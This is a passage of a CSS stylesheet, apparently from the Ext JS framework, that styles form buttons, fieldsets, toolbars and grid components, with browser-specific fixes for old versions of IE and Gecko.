.x-form-btns-ct .x-form-btns-center{\n    text-align:center; /*ie*/\n}\n\n.x-form .x-form-btns-ct .x-form-btns-center table{\n    margin:0 auto; /*everyone else*/\n}\n\n.x-form .x-form-btns-ct table td.x-form-btn-td{\n    padding:3px;\n}\n\n.x-form .x-form-btns-ct .x-btn-focus .x-btn-left{\n    background-position:0 -147px;\n}\n\n.x-form .x-form-btns-ct .x-btn-focus .x-btn-right{\n    background-position:0 -168px;\n}\n\n.x-form .x-form-btns-ct .x-btn-focus .x-btn-center{\n    background-position:0 -189px;\n}\n\n.x-form .x-form-btns-ct .x-btn-click .x-btn-center{\n    background-position:0 -126px;\n}\n\n.x-form .x-form-btns-ct .x-btn-click  .x-btn-right{\n    background-position:0 -84px;\n}\n\n.x-form .x-form-btns-ct .x-btn-click .x-btn-left{\n    background-position:0 -63px;\n}\n\n.x-form-invalid-icon {\n    width:16px;\n    height:18px;\n    visibility:hidden;\n    position:absolute;\n    left:0;\n    top:0;\n    display:block;\n    background:transparent no-repeat 0 2px;\n}\n\n/* fieldsets */\n.x-fieldset {\n    border:1px solid;\n    padding:10px;\n    margin-bottom:10px;\n    display:block; /* preserve margins in IE */\n}\n\n/* make top of checkbox/tools visible in webkit */\n.ext-webkit .x-fieldset-header {\n    padding-top: 1px;\n}\n\n.ext-ie .x-fieldset legend {\n    margin-bottom:10px;\n}\n\n.ext-ie .x-fieldset {\n    padding-top: 0;\n    padding-bottom:10px;\n}\n\n.x-fieldset legend .x-tool-toggle {\n    margin-right:3px;\n    margin-left:0;\n    float:left !important;\n}\n\n.x-fieldset legend input {\n    margin-right:3px;\n    float:left !important;\n    height:13px;\n    width:13px;\n}\n\nfieldset.x-panel-collapsed {\n    padding-bottom:0 !important;\n    border-width: 1px 1px 0 1px !important;\n    border-left-color: transparent;\n    border-right-color: transparent;\n}\n\n.ext-ie6 fieldset.x-panel-collapsed{\n    padding-bottom:0 !important;\n    border-width: 1px 0 0 0 !important;\n    margin-left: 1px;\n    margin-right: 1px;\n}\n\nfieldset.x-panel-collapsed .x-fieldset-bwrap {\n    visibility:hidden;\n    position:absolute;\n    left:-1000px;\n    top:-1000px;\n}\n\n.ext-ie .x-fieldset-bwrap {\n    zoom:1;\n}\n\n.x-fieldset-noborder {\n    border:0px none transparent;\n}\n\n.x-fieldset-noborder legend {\n    margin-left:-3px;\n}\n\n/* IE legend positioning bug */\n.ext-ie .x-fieldset-noborder legend {\n    position: relative;\n    margin-bottom:23px;\n}\n.ext-ie .x-fieldset-noborder legend span {\n    position: absolute;\n    left:16px;\n}\n\n.ext-gecko .x-window-body .x-form-item {\n    -moz-outline: none;\n    outline: none;\n    overflow: auto;\n}\n\n.ext-mac.ext-gecko .x-window-body .x-form-item {\n    overflow:hidden;\n}\n\n.ext-gecko .x-form-item {\n    -moz-outline: none;\n    outline: none;\n}\n\n.x-hide-label label.x-form-item-label {\n     display:none;\n}\n\n.x-hide-label .x-form-element {\n     padding-left: 0 !important;\n}\n\n.x-form-label-top .x-hide-label label.x-form-item-label{\n    display: none;\n}\n\n.x-fieldset {\n    overflow:hidden;\n}\n\n.x-fieldset-bwrap {\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-fieldset-body {\n    overflow:hidden;\n}\n.x-btn{\n\tcursor:pointer;\n\twhite-space: nowrap;\n}\n\n.x-btn button{\n    border:0 none;\n    background-color:transparent;\n    padding-left:3px;\n    padding-right:3px;\n    cursor:pointer;\n    margin:0;\n    overflow:visible;\n    width:auto;\n    -moz-outline:0 none;\n    outline:0 none;\n}\n\n* html .ext-ie .x-btn button {\n    width:1px;\n}\n\n.ext-gecko .x-btn button, .ext-webkit .x-btn button {\n    padding-left:0;\n    padding-right:0;\n}\n\n.ext-gecko .x-btn button::-moz-focus-inner {\n    padding:0;\n}\n\n.ext-ie .x-btn button {\n    padding-top:2px;\n}\n\n.x-btn td {\n    padding:0 !important;\n}\n\n.x-btn-text {\n    cursor:pointer;\n\twhite-space: nowrap;\n    padding:0;\n}\n\n/* icon placement and sizing styles */\n\n/* Only text */\n.x-btn-noicon .x-btn-small .x-btn-text{\n\theight: 16px;\n}\n\n.x-btn-noicon .x-btn-medium .x-btn-text{\n    height: 24px;\n}\n\n.x-btn-noicon .x-btn-large .x-btn-text{\n    height: 32px;\n}\n\n/* Only icons */\n.x-btn-icon .x-btn-text{\n    background-position: center;\n\tbackground-repeat: no-repeat;\n}\n\n.x-btn-icon .x-btn-small .x-btn-text{\n\theight: 16px;\n\twidth: 16px;\n}\n\n.x-btn-icon .x-btn-medium .x-btn-text{\n    height: 24px;\n\twidth: 24px;\n}\n\n.x-btn-icon .x-btn-large .x-btn-text{\n    height: 32px;\n\twidth: 32px;\n}\n\n/* Icons and text */\n/* left */\n.x-btn-text-icon .x-btn-icon-small-left .x-btn-text{\n    background-position: 0 center;\n\tbackground-repeat: no-repeat;\n    padding-left:18px;\n    height:16px;\n}\n\n.x-btn-text-icon .x-btn-icon-medium-left .x-btn-text{\n    background-position: 0 center;\n\tbackground-repeat: no-repeat;\n    padding-left:26px;\n    height:24px;\n}\n\n.x-btn-text-icon .x-btn-icon-large-left .x-btn-text{\n    background-position: 0 center;\n\tbackground-repeat: no-repeat;\n    padding-left:34px;\n    height:32px;\n}\n\n/* top */\n.x-btn-text-icon .x-btn-icon-small-top .x-btn-text{\n    background-position: center 0;\n\tbackground-repeat: no-repeat;\n    padding-top:18px;\n}\n\n.x-btn-text-icon .x-btn-icon-medium-top .x-btn-text{\n    background-position: center 0;\n\tbackground-repeat: no-repeat;\n    padding-top:26px;\n}\n\n.x-btn-text-icon .x-btn-icon-large-top .x-btn-text{\n    background-position: center 0;\n\tbackground-repeat: no-repeat;\n    padding-top:34px;\n}\n\n/* right */\n.x-btn-text-icon .x-btn-icon-small-right .x-btn-text{\n    background-position: right center;\n\tbackground-repeat: no-repeat;\n    padding-right:18px;\n    height:16px;\n}\n\n.x-btn-text-icon .x-btn-icon-medium-right .x-btn-text{\n    background-position: right center;\n\tbackground-repeat: no-repeat;\n    padding-right:26px;\n    height:24px;\n}\n\n.x-btn-text-icon .x-btn-icon-large-right .x-btn-text{\n    background-position: right center;\n\tbackground-repeat: no-repeat;\n    padding-right:34px;\n    height:32px;\n}\n\n/* bottom */\n.x-btn-text-icon .x-btn-icon-small-bottom .x-btn-text{\n    background-position: center bottom;\n\tbackground-repeat: no-repeat;\n    padding-bottom:18px;\n}\n\n.x-btn-text-icon .x-btn-icon-medium-bottom .x-btn-text{\n    background-position: center bottom;\n\tbackground-repeat: no-repeat;\n    padding-bottom:26px;\n}\n\n.x-btn-text-icon .x-btn-icon-large-bottom .x-btn-text{\n    background-position: center bottom;\n\tbackground-repeat: no-repeat;\n    padding-bottom:34px;\n}\n\n/* background positioning */\n.x-btn-tr i, .x-btn-tl i, .x-btn-mr i, .x-btn-ml i, .x-btn-br i, .x-btn-bl i{\n\tfont-size:1px;\n    line-height:1px;\n    width:3px;\n    display:block;\n    overflow:hidden;\n}\n\n.x-btn-tr i, .x-btn-tl i, .x-btn-br i, .x-btn-bl i{\n\theight:3px;\n}\n\n.x-btn-tl{\n\twidth:3px;\n\theight:3px;\n\tbackground:no-repeat 0 0;\n}\n.x-btn-tr{\n\twidth:3px;\n\theight:3px;\n\tbackground:no-repeat -3px 0;\n}\n.x-btn-tc{\n\theight:3px;\n\tbackground:repeat-x 0 -6px;\n}\n\n.x-btn-ml{\n\twidth:3px;\n\tbackground:no-repeat 0 -24px;\n}\n.x-btn-mr{\n\twidth:3px;\n\tbackground:no-repeat -3px -24px;\n}\n\n.x-btn-mc{\n\tbackground:repeat-x 0 -1096px;\n    vertical-align: middle;\n\ttext-align:center;\n\tpadding:0 5px;\n\tcursor:pointer;\n\twhite-space:nowrap;\n}\n\n/* Fixes an issue with the button height */\n.ext-strict .ext-ie6 .x-btn-mc, .ext-strict .ext-ie7 .x-btn-mc {\n    height: 100%;\n}\n\n.x-btn-bl{\n\twidth:3px;\n\theight:3px;\n\tbackground:no-repeat 0 -3px;\n}\n\n.x-btn-br{\n\twidth:3px;\n\theight:3px;\n\tbackground:no-repeat -3px -3px;\n}\n\n.x-btn-bc{\n\theight:3px;\n\tbackground:repeat-x 0 -15px;\n}\n\n.x-btn-over .x-btn-tl{\n\tbackground-position: -6px 0;\n}\n\n.x-btn-over .x-btn-tr{\n\tbackground-position: -9px 0;\n}\n\n.x-btn-over .x-btn-tc{\n\tbackground-position: 0 -9px;\n}\n\n.x-btn-over .x-btn-ml{\n\tbackground-position: -6px -24px;\n}\n\n.x-btn-over .x-btn-mr{\n\tbackground-position: -9px -24px;\n}\n\n.x-btn-over .x-btn-mc{\n\tbackground-position: 0 -2168px;\n}\n\n.x-btn-over .x-btn-bl{\n\tbackground-position: -6px -3px;\n}\n\n.x-btn-over .x-btn-br{\n\tbackground-position: -9px -3px;\n}\n\n.x-btn-over .x-btn-bc{\n\tbackground-position: 0 -18px;\n}\n\n.x-btn-click .x-btn-tl, .x-btn-menu-active .x-btn-tl, .x-btn-pressed .x-btn-tl{\n\tbackground-position: -12px 0;\n}\n\n.x-btn-click .x-btn-tr, .x-btn-menu-active .x-btn-tr, .x-btn-pressed .x-btn-tr{\n\tbackground-position: -15px 0;\n}\n\n.x-btn-click .x-btn-tc, .x-btn-menu-active .x-btn-tc, .x-btn-pressed .x-btn-tc{\n\tbackground-position: 0 -12px;\n}\n\n.x-btn-click .x-btn-ml, .x-btn-menu-active .x-btn-ml, .x-btn-pressed .x-btn-ml{\n\tbackground-position: -12px -24px;\n}\n\n.x-btn-click .x-btn-mr, .x-btn-menu-active .x-btn-mr, .x-btn-pressed .x-btn-mr{\n\tbackground-position: -15px -24px;\n}\n\n.x-btn-click .x-btn-mc, .x-btn-menu-active .x-btn-mc, .x-btn-pressed .x-btn-mc{\n\tbackground-position: 0 -3240px;\n}\n\n.x-btn-click .x-btn-bl, .x-btn-menu-active .x-btn-bl, .x-btn-pressed .x-btn-bl{\n\tbackground-position: -12px -3px;\n}\n\n.x-btn-click .x-btn-br, .x-btn-menu-active .x-btn-br, .x-btn-pressed .x-btn-br{\n\tbackground-position: -15px -3px;\n}\n\n.x-btn-click .x-btn-bc, .x-btn-menu-active .x-btn-bc, .x-btn-pressed .x-btn-bc{\n\tbackground-position: 0 -21px;\n}\n\n.x-btn-disabled *{\n\tcursor:default !important;\n}\n\n\n/* With a menu arrow */\n/* right */\n.x-btn-mc em.x-btn-arrow {\n    display:block;\n    background:transparent no-repeat right center;\n\tpadding-right:10px;\n}\n\n.x-btn-mc em.x-btn-split {\n    display:block;\n    background:transparent no-repeat right center;\n\tpadding-right:14px;\n}\n\n/* bottom */\n.x-btn-mc em.x-btn-arrow-bottom {\n    display:block;\n    background:transparent no-repeat center bottom;\n\tpadding-bottom:14px;\n}\n\n.x-btn-mc em.x-btn-split-bottom {\n    display:block;\n    background:transparent no-repeat center bottom;\n\tpadding-bottom:14px;\n}\n\n/* height adjustment class */\n.x-btn-as-arrow .x-btn-mc em {\n    display:block;\n    background-color:transparent;\n\tpadding-bottom:14px;\n}\n\n/* groups */\n.x-btn-group {\n    padding:1px;\n}\n\n.x-btn-group-header {\n    padding:2px;\n    text-align:center;\n}\n\n.x-btn-group-tc {\n\tbackground: transparent repeat-x 0 0;\n\toverflow:hidden;\n}\n\n.x-btn-group-tl {\n\tbackground: transparent no-repeat 0 0;\n\tpadding-left:3px;\n    zoom:1;\n}\n\n.x-btn-group-tr {\n\tbackground: transparent no-repeat right 0;\n\tzoom:1;\n    padding-right:3px;\n}\n\n.x-btn-group-bc {\n\tbackground: transparent repeat-x 0 bottom;\n    zoom:1;\n}\n\n.x-btn-group-bc .x-panel-footer {\n    zoom:1;\n}\n\n.x-btn-group-bl {\n\tbackground: transparent no-repeat 0 bottom;\n\tpadding-left:3px;\n    zoom:1;\n}\n\n.x-btn-group-br {\n\tbackground: transparent no-repeat right bottom;\n\tpadding-right:3px;\n    zoom:1;\n}\n\n.x-btn-group-mc {\n    border:0 none;\n    padding:1px 0 0 0;\n    margin:0;\n}\n\n.x-btn-group-mc .x-btn-group-body {\n    background-color:transparent;\n    border: 0 none;\n}\n\n.x-btn-group-ml {\n\tbackground: transparent repeat-y 0 0;\n\tpadding-left:3px;\n    zoom:1;\n}\n\n.x-btn-group-mr {\n\tbackground: transparent repeat-y right 0;\n\tpadding-right:3px;\n    zoom:1;\n}\n\n.x-btn-group-bc .x-btn-group-footer {\n    padding-bottom:6px;\n}\n\n.x-panel-nofooter .x-btn-group-bc {\n\theight:3px;\n    font-size:0;\n    line-height:0;\n}\n\n.x-btn-group-bwrap {\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-btn-group-body {\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-btn-group-notitle .x-btn-group-tc {\n\tbackground: transparent repeat-x 0 0;\n\toverflow:hidden;\n    height:2px;\n}.x-toolbar{\n    border-style:solid;\n    border-width:0 0 1px 0;\n    display: block;\n\tpadding:2px;\n    background:repeat-x top left;\n    position:relative;\n    left:0;\n    top:0;\n    zoom:1;\n    overflow:hidden;\n}\n\n.x-toolbar-left {\n    width: 100%;\n}\n\n.x-toolbar .x-item-disabled .x-btn-icon {\n    opacity: .35;\n    -moz-opacity: .35;\n    filter: alpha(opacity=35);\n}\n\n.x-toolbar td {\n\tvertical-align:middle;\n}\n\n.x-toolbar td,.x-toolbar span,.x-toolbar input,.x-toolbar div,.x-toolbar select,.x-toolbar label{\n\twhite-space: nowrap;\n}\n\n.x-toolbar .x-item-disabled {\n\tcursor:default;\n\topacity:.6;\n\t-moz-opacity:.6;\n\tfilter:alpha(opacity=60);\n}\n\n.x-toolbar .x-item-disabled * {\n\tcursor:default;\n}\n\n.x-toolbar .x-toolbar-cell {\n    vertical-align:middle;\n}\n\n.x-toolbar .x-btn-tl, .x-toolbar .x-btn-tr, .x-toolbar .x-btn-tc, .x-toolbar .x-btn-ml, .x-toolbar .x-btn-mr,\n.x-toolbar .x-btn-mc, .x-toolbar .x-btn-bl, .x-toolbar .x-btn-br, .x-toolbar .x-btn-bc\n{\n\tbackground-position: 500px 500px;\n}\n\n/* These rules are duplicated from button.css to give priority of x-toolbar rules above */\n.x-toolbar .x-btn-over .x-btn-tl{\n\tbackground-position: -6px 0;\n}\n\n.x-toolbar .x-btn-over .x-btn-tr{\n\tbackground-position: -9px 0;\n}\n\n.x-toolbar .x-btn-over .x-btn-tc{\n\tbackground-position: 0 -9px;\n}\n\n.x-toolbar .x-btn-over .x-btn-ml{\n\tbackground-position: -6px -24px;\n}\n\n.x-toolbar .x-btn-over .x-btn-mr{\n\tbackground-position: -9px -24px;\n}\n\n.x-toolbar .x-btn-over .x-btn-mc{\n\tbackground-position: 0 -2168px;\n}\n\n.x-toolbar .x-btn-over .x-btn-bl{\n\tbackground-position: -6px -3px;\n}\n\n.x-toolbar .x-btn-over .x-btn-br{\n\tbackground-position: -9px -3px;\n}\n\n.x-toolbar .x-btn-over .x-btn-bc{\n\tbackground-position: 0 -18px;\n}\n\n.x-toolbar .x-btn-click .x-btn-tl, .x-toolbar .x-btn-menu-active .x-btn-tl, .x-toolbar .x-btn-pressed .x-btn-tl{\n\tbackground-position: -12px 0;\n}\n\n.x-toolbar .x-btn-click .x-btn-tr, .x-toolbar .x-btn-menu-active .x-btn-tr, .x-toolbar .x-btn-pressed .x-btn-tr{\n\tbackground-position: -15px 0;\n}\n\n.x-toolbar .x-btn-click .x-btn-tc, .x-toolbar .x-btn-menu-active .x-btn-tc, .x-toolbar .x-btn-pressed .x-btn-tc{\n\tbackground-position: 0 -12px;\n}\n\n.x-toolbar .x-btn-click .x-btn-ml, .x-toolbar .x-btn-menu-active .x-btn-ml, .x-toolbar .x-btn-pressed .x-btn-ml{\n\tbackground-position: -12px -24px;\n}\n\n.x-toolbar .x-btn-click .x-btn-mr, .x-toolbar .x-btn-menu-active .x-btn-mr, .x-toolbar .x-btn-pressed .x-btn-mr{\n\tbackground-position: -15px -24px;\n}\n\n.x-toolbar .x-btn-click .x-btn-mc, .x-toolbar .x-btn-menu-active .x-btn-mc, .x-toolbar .x-btn-pressed .x-btn-mc{\n\tbackground-position: 0 -3240px;\n}\n\n.x-toolbar .x-btn-click .x-btn-bl, .x-toolbar .x-btn-menu-active .x-btn-bl, .x-toolbar .x-btn-pressed .x-btn-bl{\n\tbackground-position: -12px -3px;\n}\n\n.x-toolbar .x-btn-click .x-btn-br, .x-toolbar .x-btn-menu-active .x-btn-br, .x-toolbar .x-btn-pressed .x-btn-br{\n\tbackground-position: -15px -3px;\n}\n\n.x-toolbar .x-btn-click .x-btn-bc, .x-toolbar .x-btn-menu-active .x-btn-bc, .x-toolbar .x-btn-pressed .x-btn-bc{\n\tbackground-position: 0 -21px;\n}\n\n.x-toolbar div.xtb-text{\n    padding:2px 2px 0;\n    line-height:16px;\n    display:block;\n}\n\n.x-toolbar .xtb-sep {\n\tbackground-position: center;\n\tbackground-repeat: no-repeat;\n\tdisplay: block;\n\tfont-size: 1px;\n\theight: 16px;\n\twidth:4px;\n\toverflow: hidden;\n\tcursor:default;\n\tmargin: 0 2px 0;\n\tborder:0;\n}\n\n.x-toolbar .xtb-spacer {\n    width:2px;\n}\n\n/* Paging Toolbar */\n.x-tbar-page-number{\n\twidth:30px;\n\theight:14px;\n}\n\n.ext-ie .x-tbar-page-number{\n    margin-top: 2px;\n}\n\n.x-paging-info {\n    position:absolute;\n    top:5px;\n    right: 8px;\n}\n\n/* floating */\n.x-toolbar-ct {\n    width:100%;\n}\n\n.x-toolbar-right td {\n    text-align: center;\n}\n\n.x-panel-tbar, .x-panel-bbar, .x-window-tbar, .x-window-bbar, .x-tab-panel-tbar, .x-tab-panel-bbar, .x-plain-tbar, .x-plain-bbar {\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-toolbar-more .x-btn-small .x-btn-text{\n\theight: 16px;\n\twidth: 12px;\n}\n\n.x-toolbar-more em.x-btn-arrow {\n    display:inline;\n    background-color:transparent;\n\tpadding-right:0;\n}\n\n.x-toolbar-more .x-btn-mc em.x-btn-arrow {\n    background-image: none;\n}\n\ndiv.x-toolbar-no-items {\n    color:gray !important;\n    padding:5px 10px !important;\n}\n\n/* fix ie toolbar form items */\n.ext-border-box .x-toolbar-cell .x-form-text {\n    margin-bottom:-1px !important;\n}\n\n.ext-border-box .x-toolbar-cell .x-form-field-wrap .x-form-text {\n    margin:0 !important;\n}\n\n.ext-ie .x-toolbar-cell .x-form-field-wrap {\n    height:21px;\n}\n\n.ext-ie .x-toolbar-cell .x-form-text {\n    position:relative;\n    top:-1px;\n}\n\n.ext-strict .ext-ie8 .x-toolbar-cell .x-form-field-trigger-wrap .x-form-text, .ext-strict .ext-ie .x-toolbar-cell .x-form-text {\n    top: 0px;\n}\n\n.x-toolbar-right td .x-form-field-trigger-wrap{\n    text-align: left;\n}\n\n.x-toolbar-cell .x-form-checkbox, .x-toolbar-cell .x-form-radio{\n    margin-top: 5px;\n}\n\n.x-toolbar-cell .x-form-cb-label{\n    vertical-align: bottom;\n    top: 1px;\n}\n\n.ext-ie .x-toolbar-cell .x-form-checkbox, .ext-ie .x-toolbar-cell .x-form-radio{\n    margin-top: 4px;\n}\n\n.ext-ie .x-toolbar-cell .x-form-cb-label{\n    top: 0;\n}\n/* Grid3 styles */\n.x-grid3 {\n\tposition:relative;\n\toverflow:hidden;\n}\n\n.x-grid-panel .x-panel-body {\n    overflow:hidden !important;\n}\n\n.x-grid-panel .x-panel-mc .x-panel-body {\n    border:1px solid;\n}\n\n.x-grid3 table {\n    table-layout:fixed;\n}\n\n.x-grid3-viewport{\n\toverflow:hidden;\n}\n\n.x-grid3-hd-row td, .x-grid3-row td, .x-grid3-summary-row td{\n    -moz-outline: none;\n    outline: none;\n\t-moz-user-focus: normal;\n}\n\n.x-grid3-row td, .x-grid3-summary-row td {\n    line-height:13px;\n    vertical-align: top;\n    padding-left:1px;\n    padding-right:1px;\n    -moz-user-select: auto;\n    -khtml-user-select: auto;\n    -webkit-user-select: auto;\n}\n\n.x-grid3-cell{\n    -moz-user-select: auto;\n    -khtml-user-select: auto;\n    -webkit-user-select: auto;\n}\n\n.x-grid3-hd-row td {\n    line-height:15px;\n    vertical-align:middle;\n    border-left:1px solid;\n    border-right:1px solid;\n}\n\n.x-grid3-hd-row .x-grid3-marker-hd {\n    padding:3px;\n}\n\n.x-grid3-row .x-grid3-marker {\n    padding:3px;\n}\n\n.x-grid3-cell-inner, .x-grid3-hd-inner{\n\toverflow:hidden;\n\t-o-text-overflow: ellipsis;\n\ttext-overflow: ellipsis;\n    padding:3px 3px 3px 5px;\n    white-space: nowrap;\n}\n\n/* ActionColumn, reduce padding to accommodate 16x16 icons in normal row height */\n.x-action-col-cell .x-grid3-cell-inner {\n    padding-top: 1px;\n    padding-bottom: 1px;\n}\n\n.x-action-col-icon {\n    cursor: pointer;\n}\n\n.x-grid3-hd-inner {\n    position:relative;\n\tcursor:inherit;\n\tpadding:4px 3px 4px 5px;\n}\n\n.x-grid3-row-body {\n    white-space:normal;\n}\n\n.x-grid3-body-cell {\n    -moz-outline:0 none;\n    outline:0 none;\n}\n\n/* IE Quirks to clip */\n.ext-ie .x-grid3-cell-inner, .ext-ie .x-grid3-hd-inner{\n\twidth:100%;\n}\n\n/* reverse above in strict mode */\n.ext-strict .x-grid3-cell-inner, .ext-strict .x-grid3-hd-inner{\n\twidth:auto;\n}\n\n.x-grid-row-loading {\n    background: no-repeat center center;\n}\n\n.x-grid-page {\n    overflow:hidden;\n}\n\n.x-grid3-row {\n\tcursor: default;\n    border: 1px solid;\n    width:100%;\n}\n\n.x-grid3-row-over {\n\tborder:1px solid;\n    background: repeat-x left top;\n}\n\n.x-grid3-resize-proxy {\n\twidth:1px;\n    left:0;\n\tcursor: e-resize;\n\tcursor: col-resize;\n\tposition:absolute;\n\ttop:0;\n\theight:100px;\n\toverflow:hidden;\n\tvisibility:hidden;\n\tborder:0 none;\n\tz-index:7;\n}\n\n.x-grid3-resize-marker {\n\twidth:1px;\n\tleft:0;\n\tposition:absolute;\n\ttop:0;\n\theight:100px;\n\toverflow:hidden;\n\tvisibility:hidden;\n\tborder:0 none;\n\tz-index:7;\n}\n\n.x-grid3-focus {\n\tposition:absolute;\n\tleft:0;\n\ttop:0;\n\twidth:1px;\n\theight:1px;\n    line-height:1px;\n    font-size:1px;\n    -moz-outline:0 none;\n    outline:0 none;\n    -moz-user-select: text;\n    -khtml-user-select: text;\n    -webkit-user-select:ignore;\n}\n\n/* header styles */\n.x-grid3-header{\n\tbackground: repeat-x 0 bottom;\n\tcursor:default;\n    zoom:1;\n    padding:1px 0 0 0;\n}\n\n.x-grid3-header-pop {\n    border-left:1px solid;\n    float:right;\n    clear:none;\n}\n\n.x-grid3-header-pop-inner {\n    border-left:1px solid;\n    width:14px;\n    height:19px;\n    background: transparent no-repeat center center;\n}\n\n.ext-ie .x-grid3-header-pop-inner {\n    width:15px;\n}\n\n.ext-strict .x-grid3-header-pop-inner {\n    width:14px; \n}\n\n.x-grid3-header-inner {\n    overflow:hidden;\n    zoom:1;\n    float:left;\n}\n\n.x-grid3-header-offset {\n    padding-left:1px;\n    text-align: left;\n}\n\ntd.x-grid3-hd-over, td.sort-desc, td.sort-asc, td.x-grid3-hd-menu-open {\n    border-left:1px solid;\n    border-right:1px solid;\n}\n\ntd.x-grid3-hd-over .x-grid3-hd-inner, td.sort-desc .x-grid3-hd-inner, td.sort-asc .x-grid3-hd-inner, td.x-grid3-hd-menu-open .x-grid3-hd-inner {\n    background: repeat-x left bottom;\n\n}\n\n.x-grid3-sort-icon{\n\tbackground-repeat: no-repeat;\n\tdisplay: none;\n\theight: 4px;\n\twidth: 13px;\n\tmargin-left:3px;\n\tvertical-align: middle;\n}\n\n.sort-asc .x-grid3-sort-icon, .sort-desc .x-grid3-sort-icon {\n\tdisplay: inline;\n}\n\n/* Header position fixes for IE strict mode */\n.ext-strict .ext-ie .x-grid3-header-inner, .ext-strict .ext-ie6 .x-grid3-hd {\n    position:relative;\n}\n\n.ext-strict .ext-ie6 .x-grid3-hd-inner{\n    position:static;\n}\n\n/* Body Styles */\n.x-grid3-body {\n\tzoom:1;\n}\n\n.x-grid3-scroller {\n\toverflow:auto;\n    zoom:1;\n    position:relative;\n}\n\n.x-grid3-cell-text, .x-grid3-hd-text {\n\tdisplay: block;\n\tpadding: 3px 5px 3px 5px;\n\t-moz-user-select: none;\n\t-khtml-user-select: none;\n    -webkit-user-select:ignore;\n}\n\n.x-grid3-split {\n\tbackground-position: center;\n\tbackground-repeat: no-repeat;\n\tcursor: e-resize;\n\tcursor: col-resize;\n\tdisplay: block;\n\tfont-size: 1px;\n\theight: 16px;\n\toverflow: hidden;\n\tposition: absolute;\n\ttop: 2px;\n\twidth: 6px;\n\tz-index: 3;\n}\n\n/* Column Reorder DD */\n.x-dd-drag-proxy .x-grid3-hd-inner{\n\tbackground: repeat-x left bottom;\n\twidth:120px;\n\tpadding:3px;\n\tborder:1px solid;\n\toverflow:hidden;\n}\n\n.col-move-top, .col-move-bottom{\n\twidth:9px;\n\theight:9px;\n\tposition:absolute;\n\ttop:0;\n\tline-height:1px;\n\tfont-size:1px;\n\toverflow:hidden;\n\tvisibility:hidden;\n\tz-index:20000;\n    background:transparent no-repeat left top;\n}\n\n/* Selection Styles */\n.x-grid3-row-selected {\n\tborder:1px dotted;\n}\n\n.x-grid3-locked td.x-grid3-row-marker, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker{\n    background: repeat-x 0 bottom !important;\n    vertical-align:middle !important;\n    padding:0;\n    border-top:1px solid;\n    border-bottom:none !important;\n    border-right:1px solid !important;\n    text-align:center;\n}\n\n.x-grid3-locked td.x-grid3-row-marker div, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker div{\n    padding:0 4px;\n    text-align:center;\n}\n\n/* dirty cells */\n.x-grid3-dirty-cell {\n    background: transparent no-repeat 0 0;\n}\n\n/* Grid Toolbars */\n.x-grid3-topbar, .x-grid3-bottombar{\n    overflow:hidden;\n\tdisplay:none;\n\tzoom:1;\n    position:relative;\n}\n\n.x-grid3-topbar .x-toolbar{\n\tborder-right:0 none;\n}\n\n.x-grid3-bottombar .x-toolbar{\n\tborder-right:0 none;\n\tborder-bottom:0 none;\n\tborder-top:1px solid;\n}\n\n/* Props Grid Styles */\n.x-props-grid .x-grid3-cell{\n\tpadding:1px;\n}\n\n.x-props-grid .x-grid3-td-name .x-grid3-cell-inner{\n\tbackground:transparent repeat-y -16px !important;\n    padding-left:12px;\n}\n\n.x-props-grid .x-grid3-body .x-grid3-td-name{\n    padding:1px;\n    padding-right:0;\n    border:0 none;\n    border-right:1px solid;\n}\n\n/* dd */\n.x-grid3-col-dd {\n    border:0 none;\n    padding:0;\n    background-color:transparent;\n}\n\n.x-dd-drag-ghost .x-grid3-dd-wrap {\n    padding:1px 3px 3px 1px;\n}\n\n.x-grid3-hd {\n    -moz-user-select:none;\n    -khtml-user-select:none;\n    -webkit-user-select:ignore;\n}\n\n.x-grid3-hd-btn {\n    display:none;\n    position:absolute;\n    width:14px;\n    background:no-repeat left center;\n    right:0;\n    top:0;\n    z-index:2;\n\tcursor:pointer;\n}\n\n.x-grid3-hd-over .x-grid3-hd-btn, .x-grid3-hd-menu-open .x-grid3-hd-btn {\n    display:block;\n}\n\na.x-grid3-hd-btn:hover {\n    background-position:-14px center;\n}\n\n/* Expanders */\n.x-grid3-body .x-grid3-td-expander {\n    background:transparent repeat-y right;\n}\n\n.x-grid3-body .x-grid3-td-expander .x-grid3-cell-inner {\n    padding:0 !important;\n    height:100%;\n}\n\n.x-grid3-row-expander {\n    width:100%;\n    height:18px;\n    background-position:4px 2px;\n    background-repeat:no-repeat;\n    background-color:transparent;\n}\n\n.x-grid3-row-collapsed .x-grid3-row-expander {\n    background-position:4px 2px;\n}\n\n.x-grid3-row-expanded .x-grid3-row-expander {\n    background-position:-21px 2px;\n}\n\n.x-grid3-row-collapsed .x-grid3-row-body {\n    display:none !important;\n}\n\n.x-grid3-row-expanded .x-grid3-row-body {\n    display:block !important;\n}\n\n/* Checkers */\n.x-grid3-body .x-grid3-td-checker {\n    background:transparent repeat-y right;\n}\n\n.x-grid3-body .x-grid3-td-checker .x-grid3-cell-inner, .x-grid3-header .x-grid3-td-checker .x-grid3-hd-inner {\n    padding:0 !important;\n    height:100%;\n}\n\n.x-grid3-row-checker, .x-grid3-hd-checker {\n    width:100%;\n    height:18px;\n    background-position:2px 2px;\n    background-repeat:no-repeat;\n    background-color:transparent;\n}\n\n.x-grid3-row .x-grid3-row-checker {\n    background-position:2px 2px;\n}\n\n.x-grid3-row-selected .x-grid3-row-checker, .x-grid3-hd-checker-on .x-grid3-hd-checker,.x-grid3-row-checked .x-grid3-row-checker {\n    background-position:-23px 2px;\n}\n\n.x-grid3-hd-checker {\n    background-position:2px 1px;\n}\n\n.ext-border-box .x-grid3-hd-checker {\n    background-position:2px 3px;\n}\n\n.x-grid3-hd-checker-on .x-grid3-hd-checker {\n    background-position:-23px 1px;\n}\n\n.ext-border-box .x-grid3-hd-checker-on .x-grid3-hd-checker {\n    background-position:-23px 3px;\n}\n\n/* Numberer */\n.x-grid3-body .x-grid3-td-numberer {\n    background:transparent repeat-y right;\n}\n\n.x-grid3-body .x-grid3-td-numberer .x-grid3-cell-inner {\n    padding:3px 5px 0 0 !important;\n    text-align:right;\n}\n\n/* Row Icon */\n\n.x-grid3-body .x-grid3-td-row-icon {\n    background:transparent repeat-y right;\n    vertical-align:top;\n    text-align:center;\n}\n\n.x-grid3-body .x-grid3-td-row-icon .x-grid3-cell-inner {\n    padding:0 !important;\n    background-position:center center;\n    background-repeat:no-repeat;\n    